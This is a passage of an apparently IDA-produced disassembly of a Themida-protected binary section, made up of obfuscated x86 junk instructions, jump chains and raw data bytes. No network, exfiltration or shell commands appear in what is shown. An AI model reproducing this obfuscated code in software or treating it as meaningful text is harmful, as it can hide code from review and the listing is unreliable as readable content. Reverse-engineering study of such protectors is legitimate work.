		mov	ebx, [esp]
		add	esp, 4
		add	[eax], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54BE43
; ---------------------------------------------------------------------------

loc_552F59:				; CODE XREF: Themida_:00553C58j
		mov	edi, 48B81098h
		jmp	loc_54C2A4
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 0E9000000h, 4683h,	5455C5B9h, 0B2E9814Ch
		dd 0C1359B6Fh, 0C18103E9h, 6B6D5F76h, 2BAC181h,	0F181182Dh
		dd 0E1F8088Ch, 8159CB89h, 914AC9C1h, 81D9293Dh,	914AC9E9h
		dd 2DA4E93Dh, 0C6880000h, 24048B66h, 8102C483h,	2ECh, 0C896600h
		dd 0B725E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552FBE:				; CODE XREF: Themida_:00553C01j
		mov	edi, 4
		jmp	loc_553511
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFF82F6h
; ---------------------------------------------------------------------------

loc_552FD0:				; CODE XREF: Themida_:005579D7j
		push	ebx
		mov	bl, 0A1h
		inc	bl
		neg	bl
		shl	bl, 8
		or	bl, 6Ah
		sub	bl, 95h
		xor	bl, 13h
		add	dh, bl
		pop	ebx
		jmp	loc_543CD9
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C0830000h, 7D86E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552FFA:				; CODE XREF: Themida_:005516FAj
		inc	esi
		add	esi, 0B96F1CFDh
		sub	ebp, esi
		pop	esi
		neg	ebp
		inc	ebp
		add	ebp, 4DD3504Ah
		xor	ebp, 7CFE9628h
		xor	eax, ebp
		pop	ebp
		push	ebx
		jmp	loc_54E20E
; ---------------------------------------------------------------------------

loc_55301C:				; CODE XREF: Themida_:00550C3Dj
		mov	esi, esp
		push	ecx
		jmp	loc_54B50D
; ---------------------------------------------------------------------------
		dd 0BA241489h, 2Ch, 0FFB55AE9h,	28B82CFFh, 66B804D0h, 8324148Bh
		dd 530402C4h, 0FF5749E9h
		db 0FFh
byte_553045	db 0FFh, 77h, 40h	; DATA XREF: Themida_:00543040o
		dd 0FF024EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55304D:				; CODE XREF: Themida_:005517CAj
		push	edx
		mov	edx, 2858720Bh
		mov	esi, 0D7A78DF9h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 0B4A7148h
		jmp	loc_5562D2
; ---------------------------------------------------------------------------

loc_55306B:				; CODE XREF: Themida_:00543D90j
		xor	edx, [esp]
		pop	esp
		jmp	loc_54F951
; ---------------------------------------------------------------------------
		dd 0E987CE87h, 0FF322EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55307D:				; CODE XREF: Themida_:005481F2j
		not	edi
		add	edi, 7F246AD6h
		add	edi, 5F3B7B98h
		jmp	loc_549B83
; ---------------------------------------------------------------------------
		dd 20F7BF57h, 68684CA8h, 8900001Ah, 1CF7243Ch, 0EF815F24h
		dd 0C65A67Bh, 28CDBB53h, 0F3810081h, 6F4B1281h,	15BDD29h
		dd 4CC581FDh, 5F6FCA3Ah, 34FFE831h, 0C4835D24h,	8BC50104h
		dd 0C4832404h, 0DEC58104h, 8157315Eh, 1EDh, 0B7ED8100h
		dd 0E961A5E8h, 0FFFF5F01h
; ---------------------------------------------------------------------------

loc_5530E8:				; CODE XREF: Themida_:00549571j
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_545838
; ---------------------------------------------------------------------------

loc_5530F6:				; CODE XREF: Themida_:0054C041j
		pop	esi
		push	66ABh
		mov	[esp], edi
		push	25DFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_551D67
; ---------------------------------------------------------------------------
		db 5Dh
		dd 31241C33h, 0F8E9241Ch
		db 2Ah,	2 dup(0FFh)
byte_55312F	db 68h			; DATA XREF: Themida_:00543208o
		dd 53947h, 0FFB36FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553139:				; CODE XREF: Themida_:00547214j
		sub	esp, 4
		jmp	loc_549813
; ---------------------------------------------------------------------------
		dd 0D188C288h, 59CA885Ah, 8BD03058h, 0C4812414h, 4, 0FF4B54E9h
		dd 24248BFFh, 51242C89h, 59F2BA52h, 12B9003Fh, 1FFC0A6h
		dd 0EC815AD1h, 4, 0E9240C89h, 0CDEh
; ---------------------------------------------------------------------------

loc_553180:				; CODE XREF: Themida_:0054D32Ej
		push	ebx
		mov	bh, 3Ch
		xor	dl, bh
		jmp	loc_54B774
; ---------------------------------------------------------------------------
		dw 487h
		dd 0B8505C24h, 6CE049Ah, 0EA29710Dh, 78410526h,	782D56DDh
		dd 0F741F241h, 5EE940D0h, 58FFFF98h, 4C481h, 0EC810000h
		dd 4, 81241C89h, 34E22434h, 428F0308h, 498EE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5531CA:				; CODE XREF: Themida_:0054DC41j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_543985
; ---------------------------------------------------------------------------

loc_5531D7:				; CODE XREF: Themida_:00555908j
		xchg	edi, ebp
		inc	edi
		jmp	loc_54FD68
; ---------------------------------------------------------------------------
		db 5Ah
		dd 49E9CD04h, 5AFFFFD7h, 4C281h, 0C2810000h, 4,	0FF374FE9h
		dd 5AD331FFh, 1C8BDA01h, 4C48324h, 3160E9h
		db 0
; ---------------------------------------------------------------------------

loc_553209:				; CODE XREF: Themida_:00548C4Ej
		mov	[esp], edi
		push	eax
		jmp	loc_54ABA3
; ---------------------------------------------------------------------------
		dw 0B60Fh
aS9_0		db 'юИ9',7,0
		align 2
		dw 8952h
		dd 4C281E2h, 50000000h,	4B8h, 58C20100h, 0E9241487h, 0FFFF3769h
		dd 0D6F7DEF7h, 3233F681h, 0F6811A5Fh, 85CF9B05h, 0E95EF301h
		dd 26D0h, 0FF004AE9h, 3EAC1FFh,	68h, 242C8100h,	0E7D0D03h
		dd 0E9241429h, 0FFFF926Dh
dword_553268	dd 240C8B66h, 34FF5453h, 89535B24h, 4C381E3h, 83000000h
					; DATA XREF: Themida_:0054322Co
		dd 1C8704C3h, 0C3815C24h, 4, 0FF9505E9h, 81D101FFh, 42226EE9h
		dd 4DAAE905h, 0D368FFFFh, 8900005Bh, 0E6892434h, 4C681h
		dd 0EC810000h, 4, 50240C89h, 0B41D0CB8h, 281E935h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5532BE:				; CODE XREF: Themida_:0054ABD1j
		pop	ebp
		jmp	loc_54BFC9
; ---------------------------------------------------------------------------

loc_5532C4:				; CODE XREF: Themida_:00556E86j
		sub	ebp, 47DD21FBh
		push	ecx
		mov	ecx, 0C856E346h
		sub	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_5448F9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 73290633h, 0E128D535h, 0F250E916h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5532EE:				; CODE XREF: Themida_:00544679j
		and	esi, edx
		pop	edx
		xor	esi, 7E7C6AC1h
		xor	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54FB81
; ---------------------------------------------------------------------------
		dd 335BDA01h, 14312414h, 24143324h, 2434FF5Ch, 81240C8Bh
		dd 4C4h, 4EC8100h, 89000000h, 0E0892404h, 0FF40BDE9h, 4EC81FFh
		dd 89000000h, 28F240Ch,	5024148Bh, 405E089h, 0E9000000h
		dd 4D5Dh
; ---------------------------------------------------------------------------

loc_55334C:				; CODE XREF: Themida_:00547433j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 4
		push	edx
		jmp	loc_551104
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 81000000h, 0E5091BC5h, 67C5816Fh, 0E946CE18h, 0FFFF827Eh
		dd 0FD4EAEBDh, 2FCBE903h, 489FFFFh, 76BE5624h, 4E575321h
		dd 4C11E9h
		db 0
; ---------------------------------------------------------------------------

loc_553399:				; CODE XREF: Themida_:0054B267j
		mov	[esp], ecx
		push	0A6Dh
		jmp	loc_54DE55
; ---------------------------------------------------------------------------
		dw 8966h
		dd 5166241Ch, 0B128B753h, 5BF900A3h, 3CE9CB88h,	100004Eh
		dd 0E9042444h, 0FFFF94CFh, 48C78159h, 29C89E00h, 0B22D5FF8h
		dd 0E964F662h, 2418h, 0FEFEBEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5533DD:				; CODE XREF: Themida_:00552190j
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_5434C0
; ---------------------------------------------------------------------------
		dw 0EF29h
		dd 4EC835Dh, 0E9241489h, 0FFFEFEACh, 5051CF88h,	0C188F888h
		dd 59CE8858h, 0FFEFA0E9h, 2BAFFh, 0D5010000h, 242C335Ah
		dd 632E9h, 240C8700h, 0FF9BC9E9h, 43D468FFh, 895E0F37h
		dd 0BB535EF0h, 248D374Bh, 0FF3827E9h, 80C328FFh, 0EB8085C3h
		dd 92B450C8h, 618E9h
		db 0
; ---------------------------------------------------------------------------

loc_553445:				; CODE XREF: Themida_:0054FACFj
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_543692
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0BB53240Ch, 4, 8904EC83h,	2C81241Ch, 0E34E124h
		dd 6252E961h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553476:				; CODE XREF: Themida_:00553799j
		push	67D5h
		mov	[esp], eax
		mov	ah, 0AFh
		push	ecx
		mov	ch, ah
		mov	dl, ch
		pop	ecx
		pop	eax
		sub	dl, cl
		pop	ecx
		xor	dl, bl
		jmp	loc_557864
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 1Ah
		dd 0E903295Dh, 3B18h
; ---------------------------------------------------------------------------

loc_55349C:				; CODE XREF: Themida_:0054C8B5j
		pop	edx
		sub	esp, 4
		jmp	loc_54F798
; ---------------------------------------------------------------------------
		db 0FEh, 0C5h, 53h
		dd 0EB800EB3h, 80D3F66Fh, 0DD00ECF3h, 81241C8Bh, 4C4h
		dd 0E1F58000h, 5F04E82Ch, 0E5B75366h, 8B66F828h, 0C483241Ch
		dd 288E2C02h, 11D2E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5534DA:				; CODE XREF: Themida_:0055360Ej
		push	2D5Ah
		mov	[esp], edx
		mov	edx, 4A1D52C4h
		sub	esp, 4
		jmp	loc_55710B
; ---------------------------------------------------------------------------

loc_5534EF:				; CODE XREF: Themida_:00548FA8j
		push	ecx
		jmp	loc_5478CD
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0A1h
		dd 0C13D1E62h, 0C58106E5h, 885ACD3Dh, 0FF3649E9h, 78B050FFh
		dd 0FFD0BCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553511:				; CODE XREF: Themida_:00552FC3j
		add	eax, edi
		jmp	loc_54E4DF
; ---------------------------------------------------------------------------
		dd 0D6F7D6F7h, 582CE681h, 814E3C1Ch, 63E084C6h,	2DF5E9DFh
		dd 8F540000h, 22E92404h, 8BFFFFCBh, 5EE9242Ch, 0B9FFFF3Bh
		dd 485B5DD7h, 48BC129h,	3F7B6824h, 1C890000h, 46E95424h
		dd 0C0FFFF8Ch, 4D2C03E8h, 58C600h, 949BE9FEh, 0C583FFFFh
		dd 242C8704h, 0E657E95Ch, 48BFFFFh, 4C48124h, 81000000h
		dd 4ECh, 6936E900h, 34FFFFFFh, 0C4835924h, 2329E904h, 81580000h
		dd 4C4h, 40500h, 0E9550000h, 0FFFFB044h
; ---------------------------------------------------------------------------

loc_5535A4:				; CODE XREF: Themida_:00555B55j
		mov	edx, ebx
		pop	ebx
		push	ecx
		push	ebp
		mov	ebp, 0B9C71ECh
		mov	ecx, 77F15F4Ch
		xor	ecx, ebp
		pop	ebp
		sub	edx, 14D24C0Dh
		sub	edx, ecx
		jmp	loc_544E3A
; ---------------------------------------------------------------------------
		db 0C1h
		dd 814104E1h, 0BD16D8E9h, 6DF18110h, 2994E79Eh,	240C8BCBh
		dd 0C104C483h, 0EB8303EBh, 1EB8301h, 3CA8C381h,	0DF3125A6h
		dd 8BFA015Bh, 0C483243Ch, 4EC8104h, 89000000h, 8BD242Ch
		dd 0F7424002h, 0E9DDF7DDh, 0FFFF8B2Dh
; ---------------------------------------------------------------------------

loc_55360C:				; CODE XREF: Themida_:0054951Bj
		not	ecx
		jmp	loc_5534DA
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54BA24
; ---------------------------------------------------------------------------
		dd 5C241C87h, 54240C89h, 0E92434FFh, 0FFFF81BBh, 0F268665Ah
		dd 1C896604h, 405B724h,	2CF82898h, 0E95B6698h, 29ABh, 0D4E9D587h
		dd 51FFFF36h, 0C9FEE1B1h, 6EF468h, 24148900h, 0FF0EDEE9h
		dd 5EE568FFh, 0D6E90000h
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55366F:				; CODE XREF: Themida_:005451F9j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54FA99
; ---------------------------------------------------------------------------
		db 66h,	51h, 9Ch
		dd 0FEFC16E9h, 0CFE957FFh, 68FFFFACh, 551Fh, 0E9243C89h
		dd 320h, 0CAD8EB81h, 0D801E8E2h, 57241C8Bh, 71E9E789h
		dd 5AFFFF14h, 1227E9h, 24348100h, 20477269h, 72693558h
		dd 3C8B2047h, 4C48124h,	1000000h, 0E95258C5h, 0FFFFFD39h
dword_5536D0	dd 8FCDE9ADh, 0EC83FFFFh, 243C8904h, 0FFBEF1E9h
					; DATA XREF: Themida_:00542FDCo
		db 0FFh
; ---------------------------------------------------------------------------

loc_5536E1:				; CODE XREF: Themida_:0054A777j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	9E6h
		mov	[esp], edi
		mov	edi, 44F87FB1h
		push	0
		jmp	loc_54D9D3
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2F3612EFh, 240C875Ah, 0FFBF96E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553711:				; CODE XREF: Themida_:00558343j
		sub	edi, 90002FCh
		push	edi
		push	3A0418BBh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_549B9F
; ---------------------------------------------------------------------------
		db 66h
		dd 6666ADBDh, 5D66E829h, 47BF0566h, 33BD6655h, 0ED81664Eh
		dd 55666DC3h, 2404FF66h, 242C8B66h, 0E902C483h,	637h
; ---------------------------------------------------------------------------

loc_553754:				; CODE XREF: Themida_:00551F79j
		mov	dl, ch
		mov	ah, dl
		pop	edx
		mov	bl, ah
		pop	eax
		pop	ecx
		jmp	loc_555808
; ---------------------------------------------------------------------------

loc_553762:				; CODE XREF: Themida_:0054DFB0j
		xor	eax, ecx
		jmp	loc_553853
; ---------------------------------------------------------------------------
byte_553769	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005430C0o
		dd 68240C8Bh, 5149h, 89243C89h
		db 0E7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54AE36
; ---------------------------------------------------------------------------
		db 0D1h, 0EBh, 81h
		dd 433A31F3h, 5BD82915h, 5E9D829h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553793:				; CODE XREF: Themida_:00543CDAj
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		pop	edx
		jmp	loc_553476
; ---------------------------------------------------------------------------

loc_55379E:				; CODE XREF: Themida_:00545E63j
		add	ebp, eax
		jmp	loc_555B5A
; ---------------------------------------------------------------------------

loc_5537A5:				; CODE XREF: Themida_:0054D613j
		mov	bh, 0CEh
		mov	al, 6Ch
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	3410h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		push	42A1h
		mov	[esp], ecx
		mov	ch, al
		push	eax
		jmp	loc_551F78
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C5h
		dd 0EEA41D93h, 0FF7184E9h, 3095B7FFh, 6640E9F9h, 2C8BFFFFh
		dd 4C48324h, 0FFEC4CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5537F5:				; CODE XREF: Themida_:005559BAj
		sub	edx, 99B59B98h

loc_5537FB:				; CODE XREF: Themida_:00551283j
					; Themida_:00555A31j
		push	edx
		push	esp
		pop	edx
		jmp	loc_549BD9
; ---------------------------------------------------------------------------

loc_553803:				; CODE XREF: Themida_:0054AB79j
		add	edi, 358511E6h
		or	edi, 6E251449h
		sub	edi, 0FF6F7F6Bh
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54B958
; ---------------------------------------------------------------------------
		db 56h,	83h, 0ECh
		dd 242C8904h, 0FFFB53E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55382D:				; CODE XREF: Themida_:0054D164j
		inc	edi
		inc	edi
		push	eax
		mov	eax, 72A31199h
		shr	eax, 3
		shr	eax, 6
		or	eax, 440845C5h
		sub	eax, 5C805A2Dh
		xor	edi, eax
		pop	eax
		sub	edx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_551208
; ---------------------------------------------------------------------------

loc_553853:				; CODE XREF: Themida_:00553764j
		xor	eax, esi
		jmp	loc_544AFA
; ---------------------------------------------------------------------------

loc_55385A:				; CODE XREF: Themida_:0054BA27j
		pop	esp
		jmp	loc_549855
; ---------------------------------------------------------------------------
		dd 3F7064BFh, 0A1E95043h, 51FFFFB8h, 0EE88FD88h, 0D6F65B59h
		dd 8868EED0h, 8900001Ch, 2EB7241Ch, 2FD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_553885:				; CODE XREF: Themida_:00543474j
		pop	edi
		sub	esp, 4
		jmp	loc_5451D7
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 319BA52h, 0D0016111h, 243C8B5Ah, 4C481h, 95E90000h
		dd 8900002Dh, 0B8662404h, 50665ED1h, 242C8166h,	5F665300h
		dd 498CE9h, 4C48100h, 33000000h, 3C31243Ch, 0D2B1E924h
		dd 159FFFFh, 2434FFF0h,	0F6E9565Eh, 57FFFF6Ah, 0C781E789h
		dd 4, 2BE56h, 70E90000h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5538EF:				; CODE XREF: Themida_:00548BC6j
		push	edi
		push	edx
		jmp	loc_5565D4
; ---------------------------------------------------------------------------

loc_5538F6:				; CODE XREF: Themida_:0054C24Dj
		push	673Eh
		mov	[esp], edi
		push	60574F24h
		pop	edi
		jmp	loc_546E8E
; ---------------------------------------------------------------------------

loc_553909:				; CODE XREF: Themida_:0054D76Dj
		mov	edx, 6DF5940h
		push	esi
		jmp	loc_543AFE
; ---------------------------------------------------------------------------
		dd 0D3F7DBF7h, 3C5CEB81h, 5DE92D11h, 83FFFF4Fh,	0E95704C7h
		dd 0FFFF1836h
; ---------------------------------------------------------------------------

loc_55392C:				; CODE XREF: Themida_:005582BDj
		mov	edi, [esp]
		jmp	loc_54FE00
; ---------------------------------------------------------------------------
		dd 0EB80C300h, 15EB80A1h
		db 51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5512A9
; ---------------------------------------------------------------------------

loc_55394B:				; CODE XREF: Themida_:0054D7DCj
		add	edx, esi
		pop	esi
		jmp	loc_54869D
; ---------------------------------------------------------------------------
		db 66h
		dd 8324148Bh, 0C8904ECh, 45BF6824h, 24890000h, 6F56E924h
		dd 0C2FEFFFFh, 0E280C2FEh, 7EAC07Eh, 805EC280h,	0D0004DEAh
		dd 0FFAFCAE9h, 89D529FFh, 0B56FE9EAh, 4D4DFFFFh, 0A5E9DDF7h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553993:				; CODE XREF: Themida_:00543913j
		shr	ecx, 4
		inc	ecx
		xor	ecx, 24FF00A8h
		push	eax
		mov	eax, 77F07BFCh
		sub	ecx, eax
		jmp	loc_5581EB
; ---------------------------------------------------------------------------

loc_5539AA:				; CODE XREF: Themida_:005507BFj
		shr	edi, 8
		jmp	loc_5435ED
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFAF6Dh, 38A1E950h, 0E95BFFFFh, 0FFFF8051h, 4C481h
		dd 0C7830000h, 243C3304h, 0E9243C31h, 0FFFFDE02h, 33243C31h
		dd 0FFE9243Ch, 5CFFFF46h, 0E9240433h, 0FFFF70E9h
; ---------------------------------------------------------------------------

loc_5539EC:				; CODE XREF: Themida_:00545C84j
		sub	eax, 4
		jmp	loc_545A59
; ---------------------------------------------------------------------------
		dd 83595A5Dh, 48904ECh,	3FBA5224h, 89388163h, 3B2D5AD0h
		dd 81388163h, 1B48F7E9h, 81C1014Dh, 1B48F7C1h, 0C183584Dh
		dd 74FF5102h, 0E9590424h, 0FFFF09EDh
; ---------------------------------------------------------------------------

loc_553A28:				; CODE XREF: Themida_:0054F2D6j
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	al, bh
		mov	bx, [esp]
		jmp	loc_544491
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 24248B24h, 9C240408h, 0FEF83EE9h,	80DCF6FFh
		dd 0E300C2ECh, 275B6858h, 82E90000h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553A6F:				; CODE XREF: Themida_:00551B04j
		sub	dword ptr [esp+4], 1C3368C5h
		sub	dword ptr [esp+4], 416C27A8h
		push	eax
		mov	eax, 6E945B28h
		sub	[esp+8], eax
		jmp	loc_544C9A
; ---------------------------------------------------------------------------
		dw 84B8h
		dd 0F72B340Dh, 0A0BD55D0h, 0F72B8022h, 2B8BE9D5h, 0EB810000h
		dd 155257B8h, 32F6BF58h, 25E9BC04h, 8BFFFF84h, 0C4812404h
		dd 4, 0F707EEC1h, 5EE81D6h, 5174FD49h, 0FFE57CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553ACD:				; CODE XREF: Themida_:0054792Cj
		add	edx, 14577FC3h
		jmp	loc_549AA1
; ---------------------------------------------------------------------------
		dd 7505CB81h, 0C9E956C7h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553AE3:				; CODE XREF: Themida_:0054C89Fj
		push	59E6h
		mov	[esp], edi
		mov	edi, 15C94005h
		shl	edi, 6
		shr	edi, 1
		push	191Fh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 6CB973CBh
		mov	edi, 98CD7D6Eh
		sub	edi, ebp
		pop	ebp
		mov	eax, 872252h
		push	18F1h
		mov	[esp], edx
		mov	edx, 448D3D16h
		jmp	loc_545B41
; ---------------------------------------------------------------------------
		dd 429665Ch, 68E99C24h,	89FFFEF7h, 60BA2414h, 813C0333h
		dd 16203EEAh, 2E2C131h,	0FFD18AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553B49:				; CODE XREF: Themida_:0054D3EDj
		add	ebp, 4
		jmp	loc_54DD0B
; ---------------------------------------------------------------------------

loc_553B54:				; CODE XREF: Themida_:00550815j
		mov	esi, 35D57ABDh
		push	ebx
		mov	ebx, 6CA22162h
		inc	ebx
		push	eax
		mov	eax, 0AC2AADEBh
		add	ebx, eax
		pop	eax
		add	esi, ebx
		jmp	loc_54A9BE
; ---------------------------------------------------------------------------

loc_553B70:				; CODE XREF: Themida_:0054546Cj
		mov	[esp], ebp
		mov	ebp, 19250552h
		xor	ebp, 5C9EB323h
		sub	edx, ebp
		jmp	loc_54E158
; ---------------------------------------------------------------------------
aZS7		db '┤<$И7',0Ah,0
		dd 24148900h, 42474FFh,	0FFDBE9E9h, 39F181FFh, 81202B35h
		dd 0B47909C3h, 11B95115h, 49624420h, 0E9C1D1F7h, 3BE98103h
		dd 102C013h, 0A8E959CBh, 83FFFF06h, 3CE904C5h, 68FFFFD3h
		dd 4, 5AD7015Ah, 2474FF57h, 8DE95F04h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553BDB:				; CODE XREF: Themida_:0055788Cj
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 1C915F81h
		or	eax, 5DD86F7Eh
		and	eax, 14EE2BC7h
		neg	eax
		neg	eax
		xor	eax, 14C82BC3h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_552FBE
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 8B665C24h, 5455240Ch, 5255535Dh, 0E477E4BAh,	39E1E969h
		dd 0C6810000h, 4, 4BB53h, 0F7E90000h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553C2F:				; CODE XREF: Themida_:0054DA26j
		add	esi, 69154FEEh
		add	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, 48B60D01h
		add	ebp, 0B749F303h
		add	ebx, 6ABB7B4Ah
		sub	ebx, ebp
		jmp	loc_547F12
; ---------------------------------------------------------------------------

loc_553C51:				; CODE XREF: Themida_:0054FE73j
		add	edx, 15516E94h
		push	edi
		jmp	loc_552F59
; ---------------------------------------------------------------------------
aFysqFrEiFz	db 'fYSQ╠яfR╡┘┬вfZ',0
		dd 0EE959CFh, 33000010h, 2C31242Ch, 242C3324h, 6624248Bh
		dd 0E9C8B60Fh, 0FFFFF612h, 0FEF60EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553C8D:				; CODE XREF: Themida_:0054AF63j
		add	esp, 4
		xor	eax, 0EAB543Bh
		jmp	loc_544510
; ---------------------------------------------------------------------------

loc_553C9D:				; CODE XREF: Themida_:00556D8Aj
		add	esp, 4
		push	edx
		mov	edx, 4DA83230h
		jmp	loc_54BB15
; ---------------------------------------------------------------------------
		dd offset dword_4F7844+24h
		align 10h
		dd 55241489h, 149D6852h, 0A3E931E6h, 5CFFFFA8h,	24048F54h
		dd 4BA52h, 54010000h, 5B5A0424h, 4C381h, 0F7680000h, 89000023h
		dd 0E952240Ch, 7BEh, 0C3CB815Dh, 0E950D91Bh, 0FFFFEA1Dh
		dd 0E9242C8Bh, 0FFFEFA9Bh
; ---------------------------------------------------------------------------

loc_553CF8:				; CODE XREF: Themida_:00549649j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	ecx, edx
		jmp	loc_552649
; ---------------------------------------------------------------------------

loc_553D0F:				; CODE XREF: Themida_:0055060Aj
		xor	esi, eax
		xor	eax, esi
		push	esi
		jmp	loc_54B163
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704EBh, 2C895C24h, 16E2BD24h, 0BBE95059h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553D33:				; CODE XREF: Themida_:0054E5D2j
		pop	ebx
		or	edi, 633703EEh
		and	edi, 2A432E42h
		add	edi, 23F13A2h
		and	esi, edi
		pop	edi
		shr	esi, 3
		neg	esi
		and	esi, 9234018h
		shr	esi, 7
		add	esi, 0FFEDB984h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_544187
; ---------------------------------------------------------------------------
		dd 87653D05h, 4EC8331h,	0FF2168E9h
		db 0FFh
byte_553D75	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005430BCo
		dd 6658669Dh, 9C240419h, 0FEF516E9h, 0EBE954FFh, 66FFFF46h
		dd 578ECD81h, 0BA665266h, 31667DCFh, 3981E9D5h,	0E8010000h
		dd 16126C05h, 6CE95D71h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553DAB:				; CODE XREF: Themida_:00556397j
		push	edi
		jmp	loc_55075A
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 8Fh
		dd 0E958EC65h, 0FFFF89F6h
; ---------------------------------------------------------------------------

loc_553DBC:				; CODE XREF: Themida_:0054C2D2j
		push	5772h
		jmp	loc_557A2A
; ---------------------------------------------------------------------------
aBqu_isf	db '│О⌠!.iИ■',1Bh,0
		db 0
; ---------------------------------------------------------------------------

loc_553DD1:				; CODE XREF: Themida_:005453F5j
		sub	edi, 4F30FFB7h
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_54E725
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EB010000h, 4EB815Dh, 0E9000000h, 0FFFEF98Fh
; ---------------------------------------------------------------------------

loc_553DF4:				; CODE XREF: Themida_:00552CEDj
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	35D1h
		mov	[esp], edi
		push	46E066A3h
		jmp	loc_5491E7
; ---------------------------------------------------------------------------
		db 68h
		dd 1A294BBBh, 0AEC8E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553E22:				; CODE XREF: Themida_:00553FDCj
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_550DAA
; ---------------------------------------------------------------------------

loc_553E33:				; CODE XREF: Themida_:0054D903j
		pop	edx
		push	ecx
		pop	eax
		pop	ecx
		and	eax, 4B1C214Ah
		jmp	loc_54DEDF
; ---------------------------------------------------------------------------
		db 0BBh, 0D5h, 6
		dd 76E909D4h, 0FFFFFF97h, 76E92434h, 81FFFF1Ah,	254DBCC5h
